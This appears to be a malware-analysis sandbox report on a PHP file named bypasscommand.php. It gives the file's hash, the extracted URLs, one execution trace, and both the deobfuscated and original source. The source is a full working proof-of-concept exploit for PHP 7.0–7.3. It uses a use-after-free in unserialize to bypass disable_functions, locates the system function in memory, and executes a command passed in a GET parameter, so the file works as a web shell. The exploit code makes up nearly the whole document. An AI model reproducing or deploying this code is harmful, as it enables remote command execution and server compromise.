bypasscommand.php

md5: e25707bbb707f822615035e4da6f7ff7

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Deobfuscated code (Read more)
Execution traces (Read more)
Generated HTML (Read more)
Original Code (Read more)
Screenshot
Attributes
Environment
error_reporting (Deobfuscated, Original)

Input
_GET (Deobfuscated, Original)

URLs
https://bugs.php.net/bug.php?id=72530 (Deobfuscated, Original)
https://github.com/mm0r1 (Deobfuscated, Original)
https://site.com/bypass.php?bypass=command (Deobfuscated, Original)

Deobfuscated PHP code
<?php

ini_set("display_errors", 1);
error_reporting(E_ALL);
$f = explode(",", ini_get("disable_functions"));
$d = "Disabled functions;";
$len = 0;
for ($i = 0; $i < count($f); $i++) {
    $d .= $f[$i];
    $len += strlen($f[$i]);
    if ($len > 100) {
        $len = 0;
        $d .= "</br>";
    } else {
        $d .= ", ";
    }
}
echo $d . "</br></br>";
echo "PHP version:  " . phpversion() . "</br></br>";
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
#
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1
#cara menggunakan : https://site.com/bypass.php?bypass=command
pwn($_GET["bypass"]);
function pwn($cmd)
{
    global $abc, $helper;
    function str2ptr(&$str, $p = 0, $s = 8)
    {
        $address = 0;
        for ($j = $s - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8)
    {
        $out = "";
        for ($i = 0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8)
    {
        $i = 0;
        for ($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8)
    {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if ($s != 8) {
            $leak %= 2 << $s * 8 - 1;
        }
        return $leak;
    }
    function parse_elf($base)
    {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for ($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if ($p_type == 1 && $p_flags == 6) {
                # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else {
                if ($p_type == 1 && $p_flags == 5) {
                    # PT_LOAD, PF_Read_exec
                    $text_size = $p_memsz;
                }
            }
        }
        if (!$data_addr || !$text_size || !$data_size) {
            return false;
        }
        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf)
    {
        list($data_addr, $text_size, $data_size) = $elf;
        for ($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if ($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'constant' constant check
                if ($deref != 0x746e6174736e6f63) {
                    continue;
                }
            } else {
                continue;
            }
            $leak = leak($data_addr, ($i + 4) * 8);
            if ($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if ($deref != 0x786568326e6962) {
                    continue;
                }
            } else {
                continue;
            }
            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak)
    {
        $base = 0;
        $start = $binary_leak & 1.8446744073709548E+19;
        for ($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if ($leak == 0x10102464c457f) {
                # ELF header
                return $addr;
            }
        }
    }
    function get_system($basic_funcs)
    {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if ($f_name == 0x6d6574737973) {
                # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while ($f_entry != 0);
        return false;
    }
    class ryat
    {
        var $ryat;
        var $chtg;
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }
    class Helper
    {
        public $a, $b, $c, $d;
    }
    if (stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10;
    # increase this value if you get segfaults
    $contiguous = [];
    for ($i = 0; $i < $n_alloc; $i++) {
        $contiguous[] = str_repeat('A', 79);
    }
    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();
    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];
    $helper = new Helper();
    $helper->b = function ($x) {
    };
    if (strlen($abc) == 79) {
        die("UAF failed");
    }
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if (!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if (!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if (!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if (!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    # fake closure object
    $fake_obj_offset = 0xd0;
    for ($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 264, 1, 4);
    # internal func type
    write($abc, 312, $zif_system);
    # internal func handler
    ($helper->b)($cmd);
    exit;
}
Execution traces
Generated HTML code
<html><head></head><body>Disabled functions;pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued<br>pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch<br>pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority<br>pcntl_setpriority, pcntl_async_signals, , <br><br>PHP version:  7.2.34-37+ubuntu22.04.1+deb.sury.org+1<br><br><br>
<b>Notice</b>:  Undefined index: bypass in <b>/var/www/html/bypasscommand.php</b> on line <b>37</b><br>
Couldn't get basic_functions address</body></html>
Original PHP code
<?php
ini_set("display_errors",1);
error_reporting(E_ALL);
$f=explode(",",ini_get("disable_functions"));
$d="Disabled functions;";
$len=0;
for($i=0;$i<count($f);$i++){
    $d=$d.$f[$i];
    $len+=strlen($f[$i]);
    if($len>100){
        $len=0;
        $d=$d."</br>";
    }
    else{
        $d=$d.", ";
    }
}

echo $d."</br></br>";
echo "PHP version:  ".phpversion()."</br></br>";

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
#
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1
#cara menggunakan : https://site.com/bypass.php?bypass=command

pwn(($_GET)["bypass"]);

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}
?>
PHP Malware Analysis

bypasscommand.php

md5: e25707bbb707f822615035e4da6f7ff7

Screenshot

Attributes

Deobfuscated PHP code

Execution traces

Generated HTML code

Original PHP code
